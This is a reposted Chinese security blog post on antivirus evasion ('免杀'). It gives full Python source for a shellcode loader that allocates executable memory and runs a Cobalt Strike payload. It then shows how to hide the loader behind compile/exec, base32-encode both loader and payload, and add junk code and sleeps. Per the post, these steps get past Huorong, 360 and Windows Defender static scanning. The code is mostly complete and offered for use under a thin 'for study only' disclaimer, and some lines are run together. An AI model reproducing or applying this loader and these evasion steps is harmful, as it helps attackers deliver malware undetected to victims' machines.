【免杀】一种python-ast免杀方式
2023-6-21 00:3:6 Author: 白帽子(查看原文) 阅读量:66 收藏

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群

简介

 一种python动态加密免杀方式,过火绒、360、windows defender

正文

从免杀讲起

免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀

一个python加载器

下面具体举例一个python分离加载的例子

# coding=utf-8import ctypes

# pyinstaller -F .\main.pyf = open('payload0604.bin', 'rb')

shellcode = f.read()shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(

ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

前置基础

  • Python的ast模块是一个用于处理Python代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成Python代码的AST

  • 抽象语法树是Python源代码的一种树形表示形式,用于表示Python代码的语法结构。Python的ast模块可以将Python代码解析为AST,并提供了许多方法和属性,以便开发者可以访问和修改AST节点

# ast - demo# 读取源文件with open("demo.py") as f:    data = f.read()# 生成可以被 exec() 或 eval() 执行的代码对象cm = compile(data, '<string>', 'exec')exec(cm)

利用AST绕过免杀

既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试

  • 以火绒为例子进行测试

经过简单的ast代码如下

# coding=utf-8# pyinstaller -F .\ast_test.py

import ctypes# 读取源文件with open("main", encoding='utf-8') as f: data = f.read()

# 生成可以被 exec() 或 eval() 执行的代码对象cm = compile(data, '<string>', 'exec')exec(cm)mian文件即为上面的烂大街代码# coding=utf-8import ctypes

# pyinstaller -F .\main.pyf = open('payload0604.bin', 'rb')shellcode = f.read()shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(

ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

继续生成exe测试

  • 静态通过

  • 动态通过

360尝试

这里发现360会扫描静态文本,简单做一下变形即可

对main进行base32变形

# coding=utf-8# pyinstaller -F .\ast_test.py

import ctypesimport base64# 读取源文件with open("main", "rb") as f: data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_main", "wb") as f: f.write(after_data)

ast代码同步做改动

# coding=utf-8# pyinstaller -F .\ast_test.py

import ctypesimport base64# 读取源文件with open("after_main") as f: data = f.read()print(data)data = base64.b32decode(data)

# 生成可以被 exec() 或 eval() 执行的代码对象

cm = compile(data, '<string>', 'exec')

exec(cm)

  • 静态通过

  • 动态通过

defender尝试

  • 静态扫描失败

  • 同样的原理,将cs-payload进行base32编码

base_data.py

# coding=utf-8# pyinstaller -F .\ast_test.pyimport ctypesimport base64# 读取源文件with open("main.py", "rb") as f:    data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_main", "wb") as f:    f.write(after_data)

# 读取源文件with open("payload0604.bin", "rb") as f: data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_test", "wb") as f: f.write(after_data)

# coding=utf-8import ctypesimport base64# pyinstaller -F .\main.pyf = open('after_test''rb')shellcode = f.read()shellcode = base64.b32decode(shellcode)shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

静态扫描通过

动态失败

windows defender的动态检测还是很厉害

加花尝试

# coding=utf-8import ctypesimport base64import math# pyinstaller -F .\main.pyf = open('after_test', 'rb')

shellcode = f.read()

shellcode = base64.b32decode(shellcode)shellcode = bytearray(shellcode)

print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))

# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))







import timetime.sleep(10)# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

results = [1]for i in range(2, 200): for j in range(2, int(math.sqrt(i))): if i % j == 0: break else: results.append(i)



# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))time.sleep(3)results = [1]for i in range(2, 1000): for j in range(2, int(math.sqrt(i))): if i % j == 0: break else: results.append(i)

# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(

ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))for i in range(2, 1000): for j in range(2, int(math.sqrt(i))): if i % j == 0: break else: results.append(i)time.sleep(3)for i in range(2, 1000): for j in range(2, int(math.sqrt(i))): if i % j == 0: break else: results.append(i)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

深入一下

实际对于本次ast绕过defender的深入只采取了简单的加花处理,相对来说不够稳定,但这也是免杀的一个乐趣吧,当然,除了加花意外还有很多读者可进行的操作,比如:

  • ast动态修改节点

  • 进行更为强度的多重编码

  • 将编码升级为加密,密钥存储http服务器

  • 等等等等

写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246768&idx=1&sn=e1bebd542c3a6397e20deeb9622d262a&chksm=82ea55d9b59ddccf228b86c853e2e2e6d9705e489293242ce7a5b02f24bb5d8eaaf53162e872#rd
如有侵权请联系:admin#unsafe.sh